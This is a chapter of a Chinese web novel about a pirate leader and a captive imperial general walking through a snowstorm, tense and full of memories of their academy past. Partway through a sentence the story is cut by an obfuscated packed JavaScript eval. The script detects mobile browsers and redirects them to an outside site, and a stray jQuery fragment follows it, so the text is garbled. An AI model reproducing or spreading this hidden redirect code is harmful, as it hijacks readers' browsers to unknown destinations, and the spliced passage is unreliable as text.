任他处置。
牧浔将这几个字在唇齿间含着滚了一遭,云砚泽也没再开口,二人就这么面对面地伫立在风雪中,各自沉默。
还是安月遥过来和他汇报,说那些居民要带他们到原来帝国的驻扎区去落脚,牧浔才点头应了声“走吧”。
安月遥的外交工作做得相当到位,大概是哄几人说了些只要云砚泽配合他们工作就不会对他怎么样云云,牧浔和云砚泽落在队尾,半晌,黑发男人从兜里摸索了什么出来,叼在嘴上。
“有弱点可不是好事,”牧浔咬着烟,目不斜视地看向前方,“特别是蠢到向敌人暴露你的弱点。”
云砚泽侧眸,才发现他唇间咬着的是一支没有点燃的珏草烟。
——珏草虽然名字贵气,却是最为便宜廉价的烟草,在偌大的宇宙市场里随处可见,味道也算不上好。
那支没点燃的烟随着他走路的动作在空中一晃一晃,云砚泽蹙眉盯了两秒,才偏开视线,淡声应道:“……答应你们的事,一件不会少。”
“不止,”牧浔懒洋洋道,“刚才上将说的话也作数的话,就是再加了一件。”
“……”
“放心,不是现在,”他贴心补充,“到了合适的时机,我自然会找上将兑现。”
云砚泽又闭声了,大概是默认了他的话,牧浔故意落后两步,停在云砚泽身后的视线却变得莫名起来。
这人的反应……
不太对劲。
他明明还没对那些当地人做些什么,只是简简单单问了两句,对方就像被踩了尾巴的猫一般,抬起爪子对他哈冷气。
自他当上黑蛛首领来,和白鹰处处对着干了整整四年。
哪怕是他最亲的家人,云砚泽也不该只是因为这风声鹤唳的两句话便草木皆兵。
再加上……
刚才那位中年妇女,提到了一个名字。
——尤安。
又是这个人。
云砚泽的第二个交换条件,他用自己来换也要保下来的人,他的副官。
牧浔走着走着,那根被他含在齿间的廉价烟草忽然变得索然无味。
一双猩红的眸凝了墨,浓郁得难以化开,是以云砚泽突然回过头时,被他赤//裸裸钉在自己后背的目光嚇得在原地愣怔了片刻。
他顿了下:“怎么了?”
“没怎么,”牧浔挑了挑眉,好似刚才那一瞬间的森然表情都是他的错觉,“你在等我?”
云砚泽原来只是听身后的步伐声越走越慢,不由回过脸看看,却没想正好和他对了个正着。
他下意识抿了唇,又听牧浔道:“他们说你很久没有回来了,云砚泽,这可不像你。”
香烟被取下,夹在修长的指节中,首领一双薄唇讥讽开合时,在二人间还铺上点似有若无的雾气。
银发的男人驻足在风雪中,对他的试探反应平平,回看向他的视线也无甚波澜:“托你的福,前线战事繁忙,抽不出身。”
牧浔:“忙到连回家的时间都没有?帝国除了你都是死人吗?”
见他蹙眉不应,首领笑了声:“那上将还经常麻烦副官来回跑,也是费心了。”
“……”云砚泽不解,“和他有什么关系?”
首领只捏着手中的烟身转了个圈,没有回答他。
在漫长的沉默中,牧浔将那根香烟重新咬回嘴里,红眸斜睨了他一眼:“说起来,你很冷吗?”
刚才的那个妇人摸了云砚泽的手,说他的手是冰的。
这倒是稀奇。
他自个也才大病初愈,就仗着3s精神力者的体质披件薄薄的风衣走入了大雪地里,云砚泽只是被他们锁了精神力,又没给他体质降个级别,能把他冷到哪里去?
他视线扫过云砚泽身上那件羊毛大衣,没记错的话,那还是他带着小弟们从某位奢靡至极的大星盗那里打劫来的。
怎么说,质量上也应该有保证才是。
牧浔叼着烟思考了两秒,果断出手,直直抓向云砚泽垂在身边的左手,男人反应也很快,一个扭身就躲过了他的触碰。
云砚泽将手藏在身后,他后退一步,语气冰冷:“不冷。”
首领扑了个空,倒也不气馁,他扫了一眼云砚泽的脸,又缓
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475084|169937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
缓将视线下移到他被衣物包裹的心口处。
前面的队伍已经走出去了一大截,安月遥几次回过头来看他们,却又在二人诡异的氛围中欲言又止地推着赛尼尔继续前进。
最后还是牧浔的目光先收回来,就要从他身旁经过。
在积雪细碎的踩踏声中,他听见云砚泽问:“为什么解开我的手铐?”
在穿梭艇上,他本以为拒绝了牧浔莫名其妙的要求后,对方会让他带着手铐下来,甚至带着锁具在母星上渡过所有的时间。
——毕竟最开始,他就觉得牧浔只是在逗弄他罢了。
但飞艇落地前,在他盯着白茫茫的窗外发呆时,手腕处蓦然一松,黑发垂落在男人额前,那双红眸没有多余的表情,牧浔弯下腰,就这么解开了对他的桎梏。
一双手铐被随意扔在悬浮桌上,从云砚泽的角度,只能看见他线条流畅的下颔线,和抱着手臂闲散靠在舱壁的背影。
他没有问,牧浔也没有解释。
而现在,在漫天飞舞的雪花间,他主动停下了跟随着大部队的脚步,等待着脱离队伍的人。
牧浔在原地驻足片刻,并没有回答。
二人站定在风雪两端,云砚泽盯着那双猩红的瞳,却看不懂缥缈雪色里那双红眸一分半点的情绪。
寒风掠起男人黑色的头发,在空茫的雪地中,宛若黑色的绸缎。
风声在耳边,带得云砚泽不免恍惚了片刻。
帝星有着正常轮转的一年四季,在军校里,青年总爱坐在上风口,那一头黑发被风一吹,就尽数糊在身后的云砚泽脸上。
然后他会佯装不满地推一下对方的背,得到一声嬉皮笑脸的“我不是在给你挡风嘛。”
而“过去”是一座山,是一道分水岭。
他不会提,牧浔就更不会提起。
半晌,对面的男人轻拍了下风衣上的落雪,往前几步,从他身边掠过:
“我要做什么,还需要和上将打报告?”
云砚泽的目光缓缓垂落,他看向身侧那逐渐被霜雪覆盖的脚印,直到脚印变了浅,才重新跟上队伍的步伐。